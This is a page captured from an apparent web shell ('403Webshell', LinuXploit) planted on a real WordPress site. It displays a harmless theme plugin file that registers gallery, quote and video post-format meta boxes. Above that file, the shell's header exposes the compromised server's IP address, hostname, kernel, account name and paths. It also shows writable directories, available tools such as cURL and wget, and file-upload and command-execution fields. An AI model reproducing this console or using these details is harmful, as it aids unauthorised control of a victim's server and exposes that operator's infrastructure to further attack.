403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.188.218.219
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/ombre-features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/ombre-features/postformats.php
<?php
/* ---------------------------------------------------------
Gallery Post Type
----------------------------------------------------------- */

function ombre_galleryimages( $meta_boxes ) {
    $prefix = 'ombre'; // Prefix for all fields
    $meta_boxes['ombre_galleryimg'] = array(
        'id' => 'ombre_galleryimg',
        'title' => esc_attr__( 'Post Format: Gallery', 'ombre'),
        'object_types' => array('post'), // post type
        'context' => 'normal', // normal or side
        'priority' => 'default', // default or high
        'show_names' => true, // Show field names on the left
        'fields' => array(
            array(
                'name' => esc_attr__( 'Activate Autoplay', 'ombre'),
                'desc' => esc_attr__( 'To activate autoplay, check this box.', 'ombre'),
                'id' => $prefix . 'activateauto',
                'type' => 'checkbox'
            ),
            array(
                'name' => esc_attr__( 'Activate Colorbox', 'ombre'),
                'desc' => esc_attr__( 'To activate colorbox, check this box.', 'ombre'),
                'id' => $prefix . 'activatecolorbox',
                'type' => 'checkbox'
            ),
            array(
                'name' => esc_attr__( 'Autoplay duration:', 'ombre'),
                'id' => $prefix . 'autoplaypause',
                'desc' => esc_attr__( 'The time (in seconds) between each auto transition', 'ombre'),
                'type' => 'select',
                'options' => array(
                    '4' => esc_attr__( '4 Seconds', 'ombre' ),
                    '2' => esc_attr__( '2 Seconds', 'ombre' ),
                    '3' => esc_attr__( '3 Seconds', 'ombre' ),
                    '5' => esc_attr__( '5 Seconds', 'ombre' ),
                    '6' => esc_attr__( '6 Seconds', 'ombre' ),
                    '7' => esc_attr__( '7 Seconds', 'ombre' ),
                    '8' => esc_attr__( '8 Seconds', 'ombre' ),
                    '9' => esc_attr__( '9 Seconds', 'ombre' ),
                    '10' => esc_attr__( '10 Seconds', 'ombre' ),
                    '11' => esc_attr__( '11 Seconds', 'ombre' ),
                    '12' => esc_attr__( '12 Seconds', 'ombre' ),
                    '13' => esc_attr__( '13 Seconds', 'ombre' ),
                    '14' => esc_attr__( '14 Seconds', 'ombre' ),
                    '15' => esc_attr__( '15 Seconds', 'ombre' ),
                ),
            ),
            array(
                'id' => $prefix . 'galleryimages',
                'name' => esc_attr__( 'Images:', 'ombre'),
                'desc' => esc_attr__( 'You can make a multiselection with CTRL + click', 'ombre'),
                'type' => 'file_list',
                'preview_size' => array( 100, 100 )
            )
        ),
    );

    return $meta_boxes;
}
add_filter( 'cmb2_meta_boxes', 'ombre_galleryimages' );

/* ---------------------------------------------------------
Quote Post Type
----------------------------------------------------------- */

function ombre_quote( $meta_boxes ) {
    $prefix = 'ombre';
    $meta_boxes['ombre_ptquote'] = array(
        'id' => 'ombre_ptquote',
        'title' => esc_attr__( 'Post Format: Quote', 'ombre'),
        'object_types' => array('post'),
        'context' => 'normal',
        'priority' => 'default',
        'show_names' => true,
        'fields' => array(
            array(
                'name' => esc_attr__( 'Quote', 'ombre'),
                'id' => $prefix . 'quote',
                'type' => 'textarea'
            ),
            array(
                'name' => esc_attr__( 'Name', 'ombre'),
                'id' => $prefix . 'quotename',
                'type' => 'text'
            )
        ),
    );

    return $meta_boxes;
}
add_filter( 'cmb2_meta_boxes', 'ombre_quote' );

/* ---------------------------------------------------------
Video Post Type
----------------------------------------------------------- */

function ombre_video( $meta_boxes ) {
    $prefix = 'ombre';
    $meta_boxes['ombre_videourl'] = array(
        'id' => 'ombre_videourl',
        'title' => esc_attr__( 'Post Format: Video', 'ombre'),
        'object_types' => array('post'),
        'context' => 'normal',
        'priority' => 'default',
        'show_names' => true,
        'fields' => array(
            array(
                'name' => esc_attr__( 'You Tube Video ID', 'ombre'),
                'desc' => esc_attr__( 'YouTube have the video id directly in the url. For example; keDneypw3HY', 'ombre'),
                'id' => $prefix . 'videoid',
                'type' => 'text'
            ),
            array(
                'name'    => esc_attr__( 'You Tube Video Thumbnail', 'ombre'),
                'id'      => $prefix . 'videothumb',
                'type'    => 'file',
                // Optional:
                'options' => array(
                    'url' => false, // Hide the text input for the url
                    'add_upload_file_text' => 'Upload Image' // Change upload button text. Default: "Add or Upload File"
                )
            ),
            array(
                'name' => esc_attr__( 'Embed Code', 'ombre'),
                'desc' => esc_attr__( 'Video Embed Code', 'ombre'),
                'id' => $prefix . 'embed',
                'type' => 'textarea_code'
            )
        ),
    );

    return $meta_boxes;
}
add_filter( 'cmb2_meta_boxes', 'ombre_video' );
?>

Youez - 2016 - github.com/yon3zu
LinuXploit